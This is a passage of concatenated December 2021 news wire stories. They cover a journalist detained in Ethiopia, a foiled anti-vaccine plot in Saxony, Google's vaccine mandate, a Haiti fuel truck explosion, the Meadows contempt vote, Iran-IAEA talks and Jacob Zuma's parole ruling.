terrorism. These are baseless allegations. Kiyaro is an independent journalist who has done important work in Ethiopia on all sides of the conflict. We call on the Ethiopian government to release Kiyaro immediately. She said the AP until now had chosen to keep the case out of the public eye while the news organization worked on potential diplomatic channels. Ethiopias government in November declared a state of emergency, which includes sweeping powers of detention, after a year of war as rival forces from the countrys northern Tigray region in collaboration with the Oromo Liberation Army moved closer to the capital. The government this year declared both the Tigray forces and the OLA as terrorist groups. Story continues Tens of thousands of people have been killed in the war that erupted in November 2020. The Tigray forces say they are pressuring the government to lift a deadly blockade on their region but also want Prime Minister Abiy Ahmed to step aside. Mediation efforts by the United States and African Union for a cease-fire have made little progress. Kiyaro has covered both sides of the war this year for the AP, including groundbreaking reporting on the alleged mass killings by Tigray forces in the community of Chenna Teklehaymanot after the fighters in recent months moved into Ethiopias neighboring Amhara region. In late November, the countrys state of emergency command sought to restrict media reporting on the war, forbidding the sharing of non-official information on military-related movements, battlefront results and situations. Foreign media have been barred from Tigray for much of the war, with communications links severed. The government-created Ethiopian Human Rights Commission on Wednesday said it was monitoring the situation of four other local journalists detained in recent weeks. Last month, it said it was alarmed by the conditions of the detentions of perhaps thousands of people who have been swept up under the state of emergency. It urged authorities to immediately release people detained without evidence establishing reasonable grounds for suspicion. Spokesmen for the commission did not immediately respond to a request for comment on Kiyaro. Ethiopia has again become one of the worst jailers of journalists in sub-Saharan Africa, the Committee to Protect Journalists said in a statement last week, describing the media environment as hostile three years after the prime minister took office and his government freed journalists as part of sweeping political reforms that have since been eroded. ___ Follow AP stories about the war in Ethiopia at https://apnews.com/hub/ethiopia-erasing-ethnicity (Reuters) -The Financial Times newspaper has followed the Time magazine in naming Elon Musk, the chief of Tesla Inc, as its "person of the year", commending him for the work done in transforming the electric vehicle industry. Tesla, the global EV leader, has pushed many young consumers and legacy automakers to shift focus to electric vehicles. In a column, the FT's editor, Roula Khalaf, credited Musk for demonstrating that EVs could replace cars fueled by gasoline, and called him a revolutionary in the industry. "For a long time, the rest of the auto industry was basically calling Tesla and me fools and frauds," the newspaper quoted Musk as saying in an interview. "They were saying electric cars wouldn't work, you can't achieve the range and performance. And even if you did that, nobody would buy them." Musk is the world's richest person and his company Tesla is worth about $1 trillion, making it more valuable than automakers Ford Motor and General Motors combined. Over the last few weeks, Musk has sold nearly $13 billion worth of Tesla shares. U.S. Senate Democrats have demanded that stocks and tradeable assets of billionaires be taxed as majority of their wealth lies there. Earlier this week, Democratic U.S. Senator Elizabeth Warren took to Twitter to say that Musk should pay taxes and stop "freeloading off everyone else" after Time magazine named him its "person of the year". https://bit.ly/3oYqkxo "And if you opened your eyes for 2 seconds, you would realize I will pay more taxes than any American in history this year," Musk responded. From hosting NBC sketch comedy show "Saturday Night Live" to dropping tweets on cryptocurrencies and meme stocks that have triggered massive movements in their value, Musk has dominated the headlines and amassed over 66 million followers on Twitter. (Reporting by Rhea Binoy, Shubham Kalia and Chavi Mehta in Bengaluru; Editing by Devika Syamnath and Maju Samuel) BERLIN (Reuters) - German expects significantly fewer COVID-19 vaccination doses to be delivered in the first three months of 2022 than the amount it currently receives, a spokesperson for the health ministry said on Wednesday. A reason for the gap is bringing forward some vaccine deliveries to December, the spokesperson added, denying a Business Insider report saying Germany is nearly 60 million doses short of what is needed. (Reporting by Miranda Murray, Riham Alkousaa; Editing by Madeline Chambers) By Riham Alkousaa BERLIN (Reuters) -German police have foiled a plot by anti-vaccination activists to murder the state premier of Saxony in eastern Germany, they said on Wednesday, as concerns grow over an increasingly violent pushback against COVID-19 vaccination plans. The plot to kill Michael Kretschmer is the latest in a series of incidents that underscore the anger of some Germans over restrictions on the unvaccinated and plans to make vaccinations compulsory for the general population. Saxony has one of Germany's highest levels of COVID-19 infection but also its lowest vaccination rate. It is a stronghold of the far-right Alternative for Germany (AfD), which harbours many vaccine sceptics and anti-lockdown protesters. Members of a group called "Dresden Offlinevernetzung", or 'Dresden offline network', had suggested in a chat on messaging platform Telegram that they might be in possession of firearms and crossbows, Saxony police said on Twitter. The investigation targeted six suspects - five men and a woman - aged between 32 and 64, Dresden Public Prosecutor's Office said, adding that several pieces of evidence had been found, including crossbows. 'A LINE HAS BEEN CROSSED' Kretschmer, 46, a member of Germany's opposition conservatives, has been calling for a hard lockdown to break a fourth wave of infections in his state. He said the right to free speech should be respected but not used as a cover for violence, adding that the Saxony state government would mobilise additional staff to combat radicalism. "Of course you can say what you don't like. But when violence comes into play, it's over. A line has been crossed which we will not tolerate," Kretschmer told reporters. Saxony has the second highest seven-day incidence of COVID-19 among Germany's 16 federal states, at 824 per 100,000 people compared with a national incidence of 353. In Saxony, in the former Communist East Germany, some 62% of the population has had two vaccinations, compared with around 70% nationwide. Story continues Protests against COVID-19 restrictions in Germany have become more violent, with increased attacks on doctors, politicians and journalists. "Such attacks were unthinkable just a few years ago," said Klaus Reinhardt, head of the German Medical Association. In September, a vaccination centre in Saxony was the target of an arson attack. Earlier this month, a group of protesters gathered outside the home of Saxony's health minister holding lit torches, in what was seen as an implicit threat of violence. German broadcaster ARD reported on Tuesday that more than a dozen politicians, media outlets and public institutions had received letters that threatened "bloody resistance" against the measures and included a wrapped chunk of meat. Germany's Federal Criminal Police Office has classified vaccination opponents and coronavirus deniers as a "relevant risk". In his first major address to parliament since taking office last week, German Chancellor Olaf Scholz said on Wednesday his government would not tolerate violent protests against the coronavirus restrictions. "We will not put up with a tiny minority of uninhibited extremists trying to force their will on our entire society," Scholz said. (Reporting by Riham Alkousaa, Madeline Chambers and Hans Seidenstuecker, Tanya WoodEditing by Gareth Jones) German police seized a number of weapons in a series of raids on Wednesday, after death threats were made against a top politician over his strong backing for vaccines to fight the pandemic. New chancellor Olaf Scholz promised to lead the response against a "tiny minority of uninhibited extremists", after an anti-vaccine group allegedly targeted Saxony state premier Michael Kretschmer. The investigation centred on five men and one woman aged between 32 and 64 who were suspected "of preparing a violent crime that threatens the state", police said. The case was opened after journalists from public broadcaster ZDF infiltrated an encrypted chat on the Telegram messaging app and reported on the death threats last week. Audio messages in the group called for members to oppose the restrictions in place against coronavirus "if necessary with weapons". They cited politicians as enemies -- in particular, Kretschmer, who has vocally supported curbs for the unvaccinated in one of the areas of the country with the lowest inoculation rates. Police and security forces in Saxony raided six addresses in the cities of Dresden and Heidenau, during which they seized "several crossbows and weapons". Threats against politicians and other public figures were "not acceptable", Kretschmer said during a news conference, adding that "every effort" would be made to pursue any perpetrators. Scholz, who took office last week, said Germany would "not allow a tiny minority of uninhibited extremists to try to impose its will on the whole of society". - 'Bloody resistance' - In his first speech to parliament as chancellor, Scholz vowed a zero-tolerance policy against extremist groups like those behind the alleged threats against Kretschmer. Germany will "use all the means of its democratic rule of law to defend itself against this tiny minority of the hateful attacking the rest of us", he said. Story continues The rise of violent far-right extremism in Germany was the "biggest threat to our democracy", Scholz added. A large movement with a radicalised fringe linked to right-wing extremists has emerged in Germany against health restrictions imposed during the pandemic. ZDF revealed the contents of messages allegedly involving a hundred members of the chat group "linked by their opposition to vaccines, to the state and the current health policies", police said. In the midst of a strong fourth wave of the virus, the national government decided to strengthen restrictions on unvaccinated people, banning them from public venues, restaurants and non-essential commerce. Scholz has said parliament could vote on compulsory vaccination in the coming weeks, with the obligation to get the jab coming into force in February or March. On Wednesday, police in Berlin confirmed they were investigating threats sent to several politicians across the country, which promised a "bloody resistance" against obligatory vaccines. One of the letters, of which there were "more than a dozen", contained a piece of meat wrapped in aluminium foil. - 'Radicalised' - Opposition to health restrictions is particularly strong in Saxony, in former communist East Germany, one of the regions worst hit by the resurgent coronavirus and where the vaccination rate is lower than the national average. At the beginning of December, protesters gathered outside the house of the Saxony state minister of health with torches and whistles, a demonstration that was condemned by politicians. The anti-vaccination scene was "being radicalised, not just politically but also showing a readiness to use violence," police union chief Rainer Wendt told local media. Between 15,000 and 20,000 people are believed to belong to this extremist fringe, security expert Sebastian Fiedler of Scholz's Social Democrats told the Bild daily on Tuesday. Germany has seen a rise in political violence in recent years, often attributed to far-right assailants. In January, neo-Nazi Stephan Ernst was sentenced to life in prison for the June 2019 murder of pro-migration politician Walter Luebcke. sea/dlc/har BERLIN (AP) Chancellor Olaf Scholz vowed Wednesday that his new government will do everything for Germany to overcome the coronavirus pandemic and let people return to their normal lives, declaring that we will win this fight" as he made his first major policy speech to parliament. Scholz, who took over from longtime Chancellor Angela Merkel last week, declared that we have no time to waste as he opened a presentation of his three-party coalition government's agenda. Scholz takes office as Germany is grappling with its biggest wave of infections of the pandemic so far. There are signs that restrictions imposed in recent weeks are beginning to slow infections, and the new chancellor said the country is well-placed to fulfill a pledge made in November to get 30 million vaccine shots in arms by the end of this year. Yes, things will get better; yes, we will pursue the fight against this pandemic with the greatest determination; and yes, we will fin this fight, he told lawmakers. He reiterated a pledge that there will be no red lines in pursuing efforts to restore normal life. Scholz also said that the government won't tolerate a tiny minority of extremists trying to impose their will against coronavirus policies. German security agencies have warned that parts of the Querdenken movement a loose collection of groups opposed to the pandemic restrictions are becoming increasingly radicalized. ___ Follow APs pandemic coverage at https://apnews.com/hub/coronavirus-pandemic Google gave employees until December 3rd to declare their COVID-19 vaccine status. And according to CNBC, if they failed to comply with the tech giant's vaccine mandate, they'd have to apply for a medical or religious exemption and convince Google that it's warranted if they don't want to eventually lose their job. Google will approve exemptions on a case-by-case basis. In its report, the publication said that it has seen an internal memo warning personnel of the consequences if they still haven't complied with the company's vaccine rules by January 18th. Those who refuse to be vaccinated or who have failed to secure a valid exemption will be placed on paid administrative leave for 30 days. Google will then put them on unpaid personal leave for up to six months and will ultimately fire them if they truly don't want to be inoculated against COVID-19. The tech giant reportedly explained in the memo that it's implementing its vaccine mandate to comply with the administration's executive order. Under that order, all US companies with more than 100 workers must be fully vaccinated by January 18th. While the order is in limbo after courts had blocked its implementation, Google may have simply chosen to push through with its plans to ensure that it's compliant in case the order suddenly takes effect. "We expect that almost all roles at Google in the US will fall within the scope of the executive order. Anyone entering a Google building must be fully vaccinated or have an approved accommodation that allows them to work or come onsite... frequent testing is not a valid alternative to vaccination," the memo reportedly reads. Earlier this month, CNBC also reported that Google delayed workers' return to office and will no longer require personnel to come in a few times a week starting on January 10th. However, it still encouraged employees to come into the office "where conditions allow, to reconnect with colleagues in person and start regaining the muscle memory of being in [one] more regularly." While it will strictly enforce its rule for all employees that fall within the scope of the order, Google did give those who don't want to get vaccinated an option. If they can't secure a valid religious or medical exemption, they can "explore" other roles within the company that don't conflict with the order. If they can find such a role and it doesn't require in-office work, they can also permanently work remotely going forward. The Greater Milwaukee Committee has selected Joel Brennan, Gov. Tony Evers' top cabinet official, as its next president. The GMC board of directors announced Wednesday that Brennan would become the next president. Brennan has served as secretary of the Department of Administration since 2019. Brennan, who has worked both in public and private sectors, will leave his role in Evers' administration to become president of GMC. Brennan will take the helm of the civic group in mid-January, he said in an interview. His departure on Jan. 17 from the Evers administration will come after Brennan's second cycle overseeing state budget negotiations with Republicans who control the state Legislature and after he played a key role in re-negotiating a contract between the state and Taiwanese tech giant Foxconn to reflect a significantly scaled back project. Secretary Brennan has been a part of my administration since the very beginning, and I want to thank him for his service to the people of Wisconsin over the last three years, Evers said in a statement. Especially over the last 19 months, the Department of Administration has been a critical partner in supporting our state and our economic recovery efforts, and I wish Secretary Brennan and his family all the best. Brennan follows Julia Taylor, who has been president of GMC for 19 years. Taylor will retire from the role at the end of the year. "(The GMC) has always been a place where the biggest issues are elevated and resources are accumulated and directed that's a noble purpose," Brennan said. "It's something that's ever-evolving. I'm eager to be part of the efforts to do that so we can shape Milwaukee." The GMC focuses on improving southeastern Wisconsin's civic life and economy. The group is made up of about 200 leaders of businesses, financial institutions, law firms, nonprofit groups and educational institutions in the metro area. The committee was founded in 1948 to help Milwaukee recover from the Great Depression and World War II. Story continues "We wanted to build off of (Taylor's) legacy of continuing to position the GMC in the center of helping to establish ways in which Milwaukee and the region around Milwaukee stays vibrant," said Cristy Garcia-Thomas who was a co-chair of the selection committee. "(Brennan) stood out as someone who had expertise with his background in civic engagement to really help leverage our past and continue to look for ways that we can elevate and accomplish more together." Brennan said his top focus areas include K-12 education, economic opportunity, workforce development and infrastructure. He said he supports the sales tax proposal to fund community services and other needs. Fence-mender in divided Capitol Brennan said he will bring a "bias toward action" to the role that was informed by living through the last couple of years during the COVID-19 pandemic. Before working in the Evers' administration, Brennan was the president and CEO of Discovery World. He led the museum from 2007 to 2019. He was also the head of Milwaukee's Redevelopment Authority. Brennan grew up in the Milwaukee area. He lives in Milwaukee's Brewers Hill neighborhood with his wife and two children. He leaves just as the governor is gearing up for a re-election bid that faces national headwinds for Democrats. Brennan, who was appointed just after Evers was elected in 2018, has been a unique force in the Evers administration as one of the few if not only top administration officials Republican lawmakers have not rejected outright and he even received praise from the Senate leader at the time of his appointment. During a peak of disagreement between Republicans and Evers, it was Brennan who was deployed to mend fences. In the fall of 2019, Brennan tried in vain to talk Senate Republicans out of firing Evers agriculture secretary, for example. As DOA Secretary, Brennan oversaw crucial operations of state government including the state budget and employment matters. He was central to re-negotiating a state deal with Taiwanese tech giant Foxconn earlier this year and his office oversaw the approval of a new casino in Beloit. Evers said Wednesday he will replace Brennan with Department of Financial Institutions Secretary Kathy Koltin Blumenfeld, who was appointed to her current post after Evers was elected. Secretary Blumenfeld has been an incredible partner and leader at DFI since the beginning of my administration, including during the pandemic, providing guidance and steady leadership for Wisconsins financial institutions and the financial well-being of folks across our state, Evers said. DFI deputy secretary Cheryll Olson-Collins will replace Blumenfeld as secretary of the agency. Our subscribers make this reporting possible. Please consider supporting local journalism by subscribing to the Journal Sentinel at jsonline.com/deal. DOWNLOAD THE APP: Get the latest news, sports and more Sarah Hauer can be reached at shauer@journalsentinel.com or on Instagram @HauerSarah and Twitter @SarahHauer. Subscribe to her weekly newsletter Be MKE at jsonline.com/bemke. This article originally appeared on Milwaukee Journal Sentinel: Greater Milwaukee Committee names Joel Brennan next president Associated Press A rabbi who was badly wounded in a deadly antisemitic attack at the Chabad of Poway synagogue in Southern California was sentenced Tuesday to 14 months in federal prison for running a multimillion-dollar donation fraud, authorities said. Yisroel Goldstein, 60, also was ordered to pay about $2.8 million in restitution. I beg for mercy to accept my repentance and allow me to right the wrongs, Goldstein told the judge at his sentencing, the San Diego Union-Tribune reported. He asked for the chance to do whatever I can to help others to the best of my ability. ATHENS (Reuters) -Travellers to Greece will need a negative COVID-19 PCR test to enter the country as part of efforts to curb the spread of the coronavirus pandemic, the health ministry said on Wednesday. The measure will be in effect from Dec. 19 and the tests will need to be no more than 48 hours old. The Omicron coronavirus variant has been detected in 77 countries since it was first identified three weeks ago, fuelling concerns that its large number of mutations will help it spread faster and evade protection provided by COVID-19 vaccines or prior infection. In Britain, at least one person has died after contracting Omicron, British Prime Minister Boris Johnson said on Monday, the first publicly confirmed death globally from the variant. (Reporting by Karolina Tagaris; Editing by Kirsten Donovan) Greenpeace on Wednesday criticized a proposed oil and gas exploration project in the seas off Greece, saying it would create "unbearable noise and pollution" for at-risk whales and dolphins. Greece seeks the project will increase revenues and promote energy security, but Greenpeace's statement "demands that all fossil fuel plans in Greece are immediately cancelled." Kostis Grimanis of Greenpeace Greece said in the statement that the proposal should be nixed before "it starts to wreck the Mediterranean." Grimanis said the project would be "exposing endangered species and crucial ecosystems to unbearable noise and pollution from seismic blasts and deep-sea drilling operations." "And for what?" he asked. "To keep burning oil and gas, one of the dirtiest and most expensive energy sources, when the climate crisis demands we urgently walk away from them." The group recently published research about sea mammals, including 35 endangered sperm whales and dozens of dolphins, in areas that would be impacted by the proposed project. While officials have said they would impose strict environmental safeguards, Greenpeace argues the endangered species would be at risk from the project's blaring sonic blasts as the animals are particularly sensitive to underwater noises, which experts say could be deadly, according to The Associated Press. In 2019, Athens gave energy companies TotalEnergies and ExxonMobil as well as Greece's Hellenic Petroleum exploration rights for the project in a part of the sea off of the island of Crete, the AP reported. Protesters spoke out against the decision at that time, and it remains unclear when the prospecting will begin, the wire service added. By Gessika Thomas and Brian Ellsworth CAP-HAITIEN, Haiti (Reuters) -The death toll from a fuel truck explosion in Haiti rose to 75 on Wednesday as doctors scrambled to treat the wounded from an incident that officials say was made more deadly by residents approaching the vehicle in a desperate search for fuel. Rescue workers recovered 61 bodies at the site of the accident, which took place late on Monday in Haiti's second-largest city of Cap-Haitien, while a director of the city's main hospital said a further 14 people had died while being treated for wounds. "We need all the help we can get. The hospital is not used to having so many injured," said Jean Gracia Coq, medical director at the Justinien University Hospital. "The shortages have made people let down their guard and not take the precautions that should be taken with regards to fuel." Monday night's major blast charred the facades of several homes and shops nearby, as well as destroying cars and motorcycles on the street. A witness told Reuters that the fuel truck had flipped over after its driver tried to avoid hitting a motorcycle. Street vendor Marie-Ange Celicourt took a friend to the hospital who was wounded in the explosion. "She came to me screaming: 'I'm burnt! I'm burnt!'" said Celicourt, 39, a street vendor, while waiting at the hospital for her friend, who she identified only as Geraldine. "Her case is serious. The doctor told me that one of her lungs is burnt but we haven't told her." The U.S. embassy in Haiti in a statement expressed condolences to the injured and to the families of those who died. Rescue workers have completed the search of the area, said Frandy Jean, who heads Haiti's fire brigade for the northern region. 'THEY WERE WARNED' The impact of the blast was worsened because residents were storing fuel in their homes and because some approached the truck when it flipped. Story continues "The driver had warned the people not to go near the truck," Jean told Reuters. "They did not listen. They were carrying their telephones, which they used (as flashlights), and some tried to perforate the tank with hammers." The tragedy prompted an emotive lament https://www.reuters.com/world/poor-haiti-one-thing-after-another-pope-says-deadly-blast-2021-12-15 from Pope Francis and a call to prayer for the Caribbean nation, which this year has suffered a brutal wave of gang violence, a presidential assassination and a devastating earthquake. Prime Minister Ariel Henry on Tuesday visited Cap-Haitien's main hospital to meet with victims. He promised to release government funds in response to the tragedy, and said the deceased would be buried in an official state funeral. Wednesday marked the first of three days of national mourning for the victims. Haiti suffered crippling fuel shortages for close to a month starting in October when a coalition of gangs blocked access to fuel terminals, forcing some businesses and hospitals to partially or completely shut down. The gangs last month lifted the blockade https://www.reuters.com/world/africa/haiti-gangs-lift-fuel-terminal-blockade-amid-shortages-2021-11-12, but many Haitians say they still struggle to find fuel. Gangs have grown more powerful since the July assassination of President Jovenel Moise, which created a political vacuum and allowed criminal groups to expand their territory. Haiti also suffered a devastating earthquake https://www.reuters.com/business/environment/magnitude-7-quake-strikes-western-haiti-usgs-2021-08-14 in August that killed more than 2,000 people and destroyed homes in the country's southern peninsula. (Reporting by Gessika Thomas in Cap-Haitien and Brian Ellsworth in Caracas; editing by Jonathan Oatis, Daniel Flynn, Alexandra Hudson) The Daily Beast Photo Illustration by The Daily Beast/Photos by GettyWhen Amanda Moore lost her job, she decided to go undercover in MAGA land, attending QAnon events and CPAC, hanging with neo-Nazis and blood-and-soil fascists, and palling around with Proud Boys at Harry's Bar in the lead-up to the Jan. 6 Capitol riot. But what her new compatriots didnt know was that she was often recording them, and the result is a chilling portrait of what the right looks like from the inside.Moore joined Fever Dreams c Hyatt Place Hotel was the site of a domestic dispute last week that, according to TMZ, involved "Home Alone" actor Devin Ratray. An actor who starred in the beloved Christmas movie "Home Alone" has been involved in a domestic incident at a downtown Oklahoma City hotel, according to a report from TMZ. TMZ reports that law enforcement was called to the Hyatt Place Hotel during the week of Dec. 5, where police "broke up" a "domestic dispute" between Devin Ratray and his girlfriend. According to TMZ, Ratray's girlfriend called authorities to file a police report the day after the incident occurred, and accused him of "strangling her and putting his hand over her mouth" during an argument. TMZ further reports that the woman said she bit his hand and Ratray punched her in the face before she escaped to a stairwell, where she waited for police to arrive. Police provide redacted report, Devin Ratray not identified directly A heavily redacted incident report, provided by the Oklahoma City Police Department, confirms some specifics outlined in the TMZ article, including location, date and the nature of the alleged violence. All names, apart from police officers, are redacted from the case report. However, the report includes other details not mentioned in the TMZ article. The police report said that the woman did not want to press charges at the time but gave photos she had taken of her injuries to police. The reporting officer also said he searched for, but was unable to find, the woman's attacker at nearby hotels. Based on details provided by the woman, the reporting officer assumed the man traveled either to Dallas or New York City. No official complaint has been filed as a result of the incident, and police officials have declined to comment on the case. Devin Ratray appeared in 'Home Sweet Home Alone,' was 'Buzz' in original movies Ratray portrayed Buzz McAllister in the first "Home Alone" film and its sequel, "Home Alone 2: Lost in New York," from the early 1990s. Buzz is the older brother of protagonist Kevin McAllister, played by Macaulay Culkin, who defends his home from burglars after his family mistakenly leaves him behind during a Christmas trip. Story continues Ratray returned to the franchise as an adult Buzz in "Home Sweet Home Alone," released Nov. 12 on the Disney+ streaming platform. In the new film, Buzz McAllister appears as a police officer. According to TMZ, a spokesperson for Ratray said an argument between him and his girlfriend did occur, but it "was a verbal argument, nothing physical," and the couple has now separated. This article originally appeared on Oklahoman: 'Home Alone' actor Devin Ratray accused of domestic dispute at OKC hotel The House on Tuesday evening unanimously voted to pass a bill that would ban all imports from the Chinese region of Xinjiang unless the U.S. government determines that the products were not made with forced labor. Driving the news: Sen. Marco Rubio (R-Fla.) and Rep. Jim McGovern (D-Mass.) reached a compromise agreement earlier on Tuesday on the final legislative text of the Uyghur Forced Labor Prevention Act. Stay on top of the latest market trends and economic insights with Axios Markets. Subscribe for free White House press secretary Jen Psaki confirmed for the first time Tuesday that President Biden will sign the bill. Speaker Nancy Pelosi said the House would send the bill to the Senate for swift action. What they're saying: "We have been clear that we share Congress view that action must be taken to hold the [People's Republic of China] accountable for its human rights abuses and to address forced labor in Xinjiang," Psaki said at a press briefing. "Weve already taken action on the global stage in that regard, leading an effort at the G7, putting in place financial sanctions and Global Magnitsky visa restrictions, and I think thats evidence of our commitment to this." Why it matters: The deal marks a major breakthrough in the bipartisan push to punish the Chinese government for what the U.S. has described as a genocide against Uyghurs and other ethnic minorities. The big picture: The bill would ban all imports from the northwest region of Xinjiang unless the U.S. government determines with "clear and convincing evidence" that the products were not made with forced labor. Major corporations like Nike and Coca Cola have lobbied against the bill, which would have far-reaching consequences for U.S. supply chains deeply integrated with Chinese industry. Xinjiang also accounts for nearly 50% of the world's polysilicon, a raw material used to manufacture solar panels. Between the lines: The Biden administration has been outspoken about China's campaign of mass detention, surveillance, forced labor and forced sterilization of Uyghurs and other Muslim minorities, but had previously declined to throw its weight behind the bill. Story continues The administration has vehemently denied allegations from Republicans that officials like climate envoy John Kerry have lobbied against the bill to ensure the U.S. can cooperate with China on climate change. Press secretary Jen Psaki reiterated on Tuesday that the administration had been providing "technical assistance" to ensure the legislation could be implemented. What to watch: The compromise version of the bill must be passed again in the House and Senate before it can be sent to President Biden's desk for a signature. The Senate unanimously passed Rubio's version of the bill in July, while the House voted 428-1 to pass McGovern's last week. This story has been updated with House passage of the bill. More from Axios: Sign up to get the latest market trends with Axios Markets. Subscribe for free Second Impeachment Trial Of Donald J. Trump Begins In Senate Former White House Chief of Staff Mark Meadows, center, arrives at the U.S. Capitol for the first day of former President Donald Trump's second impeachment trial in the Senate in Washington, DC, on February 09, 2021. Credit - Chip SomodevillaGetty Images The House voted late Tuesday night to hold former White House Chief of Staff Mark Meadows in criminal contempt of Congress for his refusal to comply with a subpoena issued by the committee investigating the deadly Jan. 6 attack on the U.S. Capitol by a pro-Trump mob. The measure was approved on a 222-208 vote, with just two RepublicansReps. Liz Cheney of Wyoming and Adam Kinzinger of Illinoisjoining every Democrat present in voting yes. Tuesdays full House vote comes one day after the members of the bipartisan select committee voted unanimously in favor of the resolution. A contempt of Congress charge holds a penalty of up to a year in jail. The committee found that Meadows, a longtime lawmaker from North Carolina who chaired the conservative House Freedom Caucus, has knowledge regarding former President Donald Trumps alleged efforts to persuade state officials to alter their official election results and undermine the 2020 presidential election. At the time of his criminal referral, Meadows had already produced thousands of documents for the panel, including text messages and emails related to the events of the day, but he then refused to appear for a deposition scheduled for Dec. 8. On Monday and Tuesday, committee vice chairman Rep. Cheney read aloud some of the text messages that Republicans sent to Meadows on Jan. 6 as violence engulfed the Capitol. Its really bad up here on the hill, one said. The President needs to stop this asap, another wrote. Someone is going to get killed, one warned. The messages he turned over to the panel also include Jan. 6 exchanges with the presidents son Donald Trump Jr. and multiple Fox News hosts, who all called on the president to speak out amid the violent attack. Story continues Hes got to condemn this shit ASAP, Trump Jr. texted Meadows, who responded: Im pushing it hard. I agree. Cheney said that the former president ignored these pleas for help and refused to act when his action was required, raising the question of whether Trump may have illegally sought to obstruct or impede Congress vote count. Another document turned over to the panela phone call from Meadows and Trump to Georgia Secretary of State Brad Raffenspergerrevealed that Trump asked Raffensperger to find 11,780 votes to change the result of the election. Meadows, who sued the Jan. 6 commission last week for issuing two overly broad and unduly burdensome subpoenas against him, said in an interview with Fox News host Sean Hannity on Monday night that he does not have to testify on any issue that the former president claims is protected by executive privilege. Ive tried to share non-privileged information, Meadows said. But truly the executive privilege that Donald Trump has claimed is his to waive. Its not mine to waive. Legal experts have cast doubt on the merit of Meadowss defense and say that hes not completely shielded from answering questions, particularly those unrelated to his official White House duties. Trumps sweeping claims of executive privilege to shield his activities and aides from congressional testimony have also been questioned by constitutional experts. The matter now goes to the Justice Department, which will decide whether to pursue the contempt referral. But even if Meadows is indicted, the Jan. 6 commission will essentially be at the same place as it was before: without answers on why the former president did not urge his supporters to stand down earlier. Once the committee moves to contempt, theyve essentially given up getting any information from him, says Jonathan Shaub, a law professor at the University of Kentucky who previously served in the Obama Administrations Department of Justice. Holding him in contempt is their biggest weapon, but it doesnt mean he has to answer questions. Make sense of what matters in Washington. Sign up for the daily D.C. Brief newsletter. Its unclear when a final resolution on Meadows will be made, but it could take some time. The contempt trial of Steve Bannon, who also failed to comply with a subpoena from the Jan. 6 panel, is set to begin on July 18, just months before the Nov. 8 midterm elections that will determine control of Congress. If Republicans win back the House, which Democrats currently control with a narrow majority, they could have the power to dissolve the Select Committee entirely. Shaub says the Justice Department will likely take a similar approach to Meadows as it took when it indicted Bannon on two charges last month. Meadows case could be more complicated, however, since the two had very different roles at the time of the deadly riot: Meadows was a close presidential advisor and Bannon a private citizen. Meadows has used that White House title to fight for absolute testimonial immunity, which absolves certain individuals who hold or held certain positions from any obligation to appear before Congress when called. Almost every conversation that hes had is potentially privileged, Shaub says. But the absolute immunity doctrine is one the courts have rejected very soundly, even though the executive branch still continues to claim it. Last year, the Supreme Court rejected the absolute immunity argument as a basis for Trump not turning over his tax returns. Before the House vote on Tuesday, Meadowss lawyer George J. Terwilliger III spoke out against the charges, writing in a statement that his client never stopped cooperating with the committee and citing the thousands of documents he released to the panel. Minority Whip Steve Scalise (R-La.) also urged fellow House Republicans to vote no on the resolution, saying Meadows has made good faith efforts to cooperate with the committee. Meadows legal team, Shaub says, may try to make the same point about acting in good faith to negate the criminal charges necessary for the Justice Department to indict him. Iran and a UN watchdog said Wednesday they have reached agreement on replacing cameras at a nuclear complex, as Western powers warn time is running out to revive a deal on Tehran's atomic programme. The Vienna-based International Atomic Energy Agency (IAEA) had been seeking to replace the devices which Iran says were damaged in a June attack it blames on Israel. The IAEA "will soon install new surveillance cameras at Iran's Karaj centrifuge component manufacturing workshop under an agreement reached today by Director General Rafael Mariano Grossi and the Head of the Atomic Energy Organization of Iran, Mohammad Eslami," an IAEA statement said, calling this "an important development". It added that the two sides "will continue to work on remaining outstanding safeguards issues with the aim of resolving them". Earlier this year Iran began restricting some IAEA inspection activity as part of steps it has taken away from the 2015 nuclear deal with world powers after the United States unilaterally pulled out in 2018 and reimposed crippling sanctions on Tehran. "In a gesture of goodwill, Iran is allowing the IAEA to install new cameras to replace those damaged in a sabotage operation" against the Karaj nuclear site, said Iran's Nour news agency, considered close to the Islamic republic's Supreme National Security Council. "This is a voluntary action by Iran to end misunderstandings in its relations with the IAEA," it said. Grossi held talks in Tehran last month aiming to tackle the constraints on inspections, outstanding questions over the presence of undeclared nuclear material at sites in Iran, and the treatment of IAEA staff in the country. Those talks were "inconclusive" but "constructive," he later said, just before talks resumed between Tehran and several global powers to revive the 2015 agreement which aims to prevent Iran from building an atomic bomb. Story continues "Due to the completion of the safety investigation of the damaged cameras, as well as the agency's decision to condemn the sabotage in the TESA complex and to accept the technical inspection of the cameras by Iranian experts before their installation, Iran has authorised the agency to replace the damaged cameras with new ones," the Nour report said. The development was also reported by other Iranian news agencies. - 'Precious time' - Iran accuses its arch foe Israel of being behind the attack on the TESA Karaj centrifuge component manufacturing workshop on June 23. At the time, it had said it thwarted the attack on the building without identifying the nature of the incident. Until Wednesday, Iran had turned down the IAEA's requests to replace the cameras. Negotiations resumed on Thursday last week to try to revive the 2015 deal under which Iran pledged to reduce its nuclear capabilities -- under IAEA supervision --- in exchange for sanctions relief. On Monday diplomats from Britain, France and Germany -- among the nations negotiating with Iran -- said "real negotiations" have yet to start. "We are losing precious time dealing with new Iranian positions inconsistent with the JCPOA or that go beyond it," they said, referring to the 2015 agreement. On Tuesday the top US diplomat, Secretary of State Antony Blinken, referred to the European statement and said Washington was preparing "alternatives" in case the Vienna talks fail. On Tuesday an Iranian government spokesman said an agreement could be reached "quickly" if the Western states were serious about sanctions lifting and stopped making "threats". Among the key sticking points are precisely which sanctions Washington will lift and the guarantees demanded by Iran to safeguard against future changes of heart from the US. Iran says it only wants to develop a civilian capability but Western powers say its stockpile of enriched uranium goes well beyond that, and could be used to develop a nuclear weapon. The Islamic republic has always denied wanting a nuclear arsenal. sk/it/dv Jacob Zuma was freed in September for an undisclosed medical reason A South African court has ruled that the country's former President Jacob Zuma should be returned to prison, saying his medical parole was "unlawful". The time he has spent out of prison should not be counted in his 15-month sentence, the Pretoria court ruled. Zuma was released on 5 September for an undisclosed medical condition. He had been jailed for failing to attend an inquiry into corruption during his presidency. The 79-year-old handed himself in to police in July after a public stand-off, but his jailing, unprecedented for an ex-president, sparked violent protests and looting. More than 300 people, mostly in Zuma's stronghold of KwaZulu-Natal province, died in the protests. The former leader had testified only once at the inquiry into what has become known as "state capture" - the allegation that government decisions were being taken on behalf of business interests through a corrupt relationship. Zuma is also facing a separate corruption and 